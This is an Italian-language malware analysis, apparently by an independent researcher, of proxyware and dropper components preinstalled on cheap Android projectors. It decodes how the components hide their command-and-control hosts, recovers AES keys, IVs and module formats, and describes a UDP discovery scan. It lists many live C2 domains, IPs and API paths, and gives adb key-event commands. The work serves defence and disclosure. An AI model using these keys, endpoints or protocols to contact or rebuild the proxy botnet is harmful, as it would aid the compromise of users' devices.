YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json
Ogni infos*.json elenca le app da pm install -r (payload com.google.adtest + app di copertura come Disney+) come descritto al punto 3..
Cifratura host C2
com.hs.p.basic.Hosts/EncryptUtils
Ogni stringa host è AES/CFB/NoPadding (chiave MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), compressa con gzip, poi base64:
API_MASTER_HOSTS: https://api.loritor.cc/TRACKER_SLAVE_HOSTS: https://api.loritor.cc/API_SLAVE_HOSTS: https://api.nizero.cc/TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (priorità invertita rispetto al canale API?)Sia loritor.cc che nizero.cc sembravano non raggiungibili al momento di questo test.
Percorsi API task/config
GetTaskApi, GetConfigApi
POST <host>/0x01/ov/x1 (config: finestre silenziose, toggle log, push della lista host, periodo di polling) e POST <host>/0x01/ov/x2 (lista task: jars[]/dexs[]/apks[] paginati con cursore, ciascuno con file_url/file_md5/vercode/task_id). Il campo "data" del corpo della risposta è cifrato allo stesso modo, chiave "ota.api.d3b194c07b63d688969c258719ca3f0f".
Formato modulo .rf
Decifrando tutti e quattro i moduli che ho con firme DSA valide:
[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].
Chiave AES = MD5("968a84be78d3421d5e771147dce2b766" + salt), stesso IV fisso di sopra.
La chiave pubblica DSA è hardcoded (1024-bit, incorporata in DexManager/JarExe). Il testo in chiaro è uno ZIP/APK, non un dex grezzo.```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
### 9.4 com.ad.proxy
`SKN0041`
La voce `MainApi.start_W0017` avvia il client `Robin`. Due endpoint HTTP(S) in chiaro, `channel`/`version` forniti da chiunque abbia invocato il modulo:```
GET https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
# reports back which proxy gateways it reached
SKN0054
Le stringhe di dominio/IP qui sono offuscate: Base64→XOR(chiave fissa) > XOR(risultato precedente) > XOR derivato da MD5 > Base64 > gzip nella classe com.szns.sdk.t.
Replicato l'algoritmo esatto (analysis/tools/decode_szns_t.py) e decifrati tutti e quattro gli endpoint di bootstrap hardcoded:```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
Se non è presente un URL di dispatch in cache (stato 7):
Scansione UDP di `43.153.12.1` - `43.153.80.100:8080`
Invio del payload ASCII letterale `"moon2"`, in attesa di una qualsiasi risposta che inizi con `http`. Questa risposta diventa l'URL di dispatch.
Ogni richiesta di bootstrap è `POST <url>` con i campi form `{"operator":<c>,"c":"moon2","name":<d>}` in `com.szns.sdk.x`.
Qualunque URL di dispatch venga risolto riceve poi in POST gli stessi campi e restituisce la lista reale dei gateway, cifrata come `AES/CBC/PKCS5` (chiave `"5360e2884c119aa32a767ceb1c0889b0"`, IV casuale, envelope `base64(iv):base64(ciphertext)`)
Formato JSON decifrato: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.
### 9.6. com.link.core
`SKN0058 `
Gateway singolo hardcoded, nessun livello di discovery: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Resolver DNS usati per le proprie risoluzioni: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Legge `/proc/cpuinfo` e `/sys/class/net/{eth0,wlan0}/address` per il fingerprinting del dispositivo.
### 9.7. ddth2 (VpsSdk)
`SKN0061`
Pool di gateway hardcoded, `ddth2.hidden.o`: domini `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IP `45.43.57.99`, `165.154.135.52`.
Un protocollo TCP binario personalizzato persistente:
- connect
- handshake `REGISTER`/`REGISTER_ACK` (header di frame da 8 byte, opcode+length)
- il gateway invia poi comandi di connessione (`{host, port}`
- filtrati rispetto a range privati/loopback/multicast che generano socket proxati per sessione, spiegando le "molte istanze client parallele".
### 9.8. com.google.adtest
o `com.fotas.wanapp ("com.speed")`
Il vero nome del pacchetto interno è `com.fotas.wanapp` (classe App `com.fotas.wanapp.APP`). `onCreate()` configura tre host con lo stesso schema master/slave/random di `plugin.jar`:```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
Il check-in del dispositivo avviene tramite POST https://codedevapp.com/api/v1/device/dau.
Vengono avviati due servizi:
com.google.android.AdServicecom.google.android.BakServiceSonda in modo riflessivo e inizializza una classe opzionale com.fotas.wanapp.ChannelSdkInit se presente. Stringhe dell'app id: "wanapp", "WAN_AISHANG_001".
Verifica di raggiungibilità in sola lettura da un host indipendente (nessun protocollo/payload proxy inviato, nessuna interazione con il proiettore stesso):
Opzioni sviluppatore:
Deviceversion.onKeyDown (schermata "Device info" delle Impostazioni) attende un codice in stile Konami, Su Su Giù Giù Sinistra Sinistra Destra Destra Centro Centro, che tenta di aprire le opzioni sviluppatore. Nel mio caso non ha funzionato.com.konka.readmain.MainActivity, un'app di test di fabbrica OEM non correlata che in realtà non è installata su questa unità. Idem, non ha funzionato.```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23| Termine | Cosa fa | LAN |
|---|
NetworkInterface (adtest, plugin, SKN0061) | Legge l'IP e il MAC del dispositivo per l'ID del bot | No |
DatagramSocket in SKN0041 | Relay UDP per le sessioni proxy verso il gateway | No |
DatagramSocket in SKN0054 | Scoperta C2: scansiona 43.153.12-80.1-100:8080 (range cloud pubblico) | No |
ServerSocket in plugin.jar | Server di re-streaming video, vedi sotto | No |
Chiamate a Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61) | Interni di SDK di terze parti, chmod 777 su file locali, su/pm/dumpsys per controlli sull'app in primo piano o root e ping emesso dall'operatore in SKN0041 | Solo comando ping |
| UPnP, mDNS/NSD, SSDP, WiFi Direct, calcoli ARP/subnet, ADB 5555, telnet | nessuno | No |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | Servizio OEM solo Binder: get/set di proprietà, lettura/scrittura/cancellazione di file raw, mount/umount, boot logo/animation. Nessun simbolo socket/bind/connect/listen/accept in nessuno dei due binari | No |
qw | Daemon su di Superuser/ClockworkMod. Solo percorsi di socket di dominio Unix nelle sue stringhe (/dev/com.koushikdutta.superuser[.daemon]), nessun IP letterale, nessun AF_INET | No |
com.android.nfx (NFXAccessibility) | Helper per la navigazione D-pad di Netflix, attivo solo mentre com.netflix.mediaclient è in primo piano. Il manifest non ha alcun permesso INTERNET | No |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |
| Host | Risultato DNS / connessione | Note |
|---|
api.loritor.cc, api.nizero.cc | risolve (Cloudflare), HTTP 404 su / | attivo; i percorsi reali sono /0x01/ov/x1, /0x01/ov/x2 |
api.kookjar.com | risolve (Cloudflare, 172.67.159.65), HTTP 204 | attivo |
152.32.240.141 (fallback di debug SKN0041) | timeout TCP/80 | non raggiungibile; comunque percorso solo di debug, la produzione usa api.kookjar.com |
dporder.midrouterx.com | risolve diretto (43.174.196.241, Tencent Cloud), HTTP 200 su /api/dispatch | attivo |
seed-info.oss-ap-southeast-1.aliyuncs.com | risolve (47.79.49.170, Alibaba Cloud SG), HTTP 200, serve favorite.ico | attivo |
hgsdkszns.com | risolve (Cloudflare) | DNS attivo; sonda HTTPS semplice resettata (ramo inutilizzato nella build corrente, vedi 10.5) |
43.173.127.241:9090 | la connessione TCP raw riesce | attivo, in ascolto proprio ora |
api.eviceh.cc:16000 | risolve (152.53.83.204) | DNS attivo, TCP/16000 rifiutato al momento della verifica (gateway non attualmente in ascolto) |
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52 | non ricontrollati in questo passaggio | vedi sezione 11 |
api.pechlo.cc, api.logobi.cc | risolvono (Cloudflare), HTTP 404 su / | attivi |
random.vivosoc.cc | nessun record DNS | sembra morto/scaduto |
codedevapp.com | risolve (5.161.41.216, Hetzner) | attivo; /api/v1/device/dau è solo POST quindi un semplice GET si interrompe |
| Host / URL | Componente | Ruolo |
|---|
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.com | sysapp, yiyou | dominio backend OEM principale |
wjtysj.ishanghd.com/hx_kt.php | sysapp (AshdSysApp) | C2 dell'updater OTA (act=project&do=getPackageInfo) |
ty.ishanghd.com/work/app/wj/factory/update.json | yiyou | puntatore all'auto-aggiornamento del dropper |
ty.ishanghd.com/work/app/wj/appsinfo/* (40 percorsi, vedi sopra) | yiyou | liste di payload/app per famiglia di dispositivo (target di pm install -r) |
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json | yiyou | puntatore al recupero di plugin.jar |
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar | yiyou | payload effettivo plugin.jar (percorso versionato, cambia nel tempo) |
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip | plugin.jar | bundle di chiavi/licenze DRM Widevine L3, depositato affinché le app di streaming funzionino sul dispositivo non certificato |
api.loritor.cc, api.nizero.cc | plugin.jar ("hs") | API di task/config (/0x01/ov/x1, /0x01/ov/x2), sia come canale API (master/slave) sia come canale tracker (slave/master invertiti) |
api.kookjar.com (+ 152.32.240.141 debug) | SKN0041 | /signin, /report |
api.eviceh.cc:16000 | SKN0058 | unico gateway |
hgsdkszns.com | SKN0054 | host di bootstrap aggiuntivo hardcoded (ramo inutilizzato nella build corrente) |
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, raggiunto tramite il bootstrap OSS sottostante) | SKN0054 | bootstrap di dispatch primario |
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico | SKN0054 | redirector di bootstrap ospitato su OSS (Alibaba Cloud OSS) |
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico | SKN0054 | mirror di backup Tencent COS della stessa configurazione di bootstrap |
43.173.127.241:9090 | SKN0054 | host di bootstrap ip_tcp_info (porta esatta confermata, live) |
43.135.136.224 | SKN0054 | gateway di dispatch osservato live (tcp/7788 /api/dispatch, tcp/9090) |
43.159.148.198 | SKN0054 | endpoint gateway/server-list osservato live, /dp/getServer (probabilmente restituito dinamicamente all'interno della lista cifrata node[]) |
43.130.60.175 | SKN0054 | nodo gateway proxy aggiuntivo (tcp/9090), osservato live |
43.153.12.1–43.153.80.100:8080 (UDP) | SKN0054 | scansione di discovery; il payload della sonda è l'ASCII letterale moon2 |
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52 | SKN0061 | pool di gateway, protocollo proxy TCP personalizzato |
api.pechlo.cc, api.logobi.cc, random.vivosoc.cc | com.speed / com.fotas.wanapp | C2 master/slave/random |
codedevapp.com/api/v1/device/dau | com.speed / com.fotas.wanapp | check-in del dispositivo |
live.sz-cloudmedia.com:8080/ota/ | OTA legacy (variante sysapp più vecchia/parallela) | vicolo cieco, il dominio non ha registrazione ICP, Alibaba lo blocca. |
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.com | yiyou (Umeng SDK) | telemetria analytics di terze parti, che trasporta le impronte del dispositivo (seriale, MAC, SSID/BSSID) raccolte dall'app yiyou |
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.com | yiyou (Baidu Mobile Stats SDK) | stesso ruolo di telemetria, tramite Baidu |
cmnsguider.yunos.com, ip.taobao.com, g3.le.com | yiyou | servizi Alibaba/Yunos di device-token e lookup IP pubblico usati per il fingerprinting |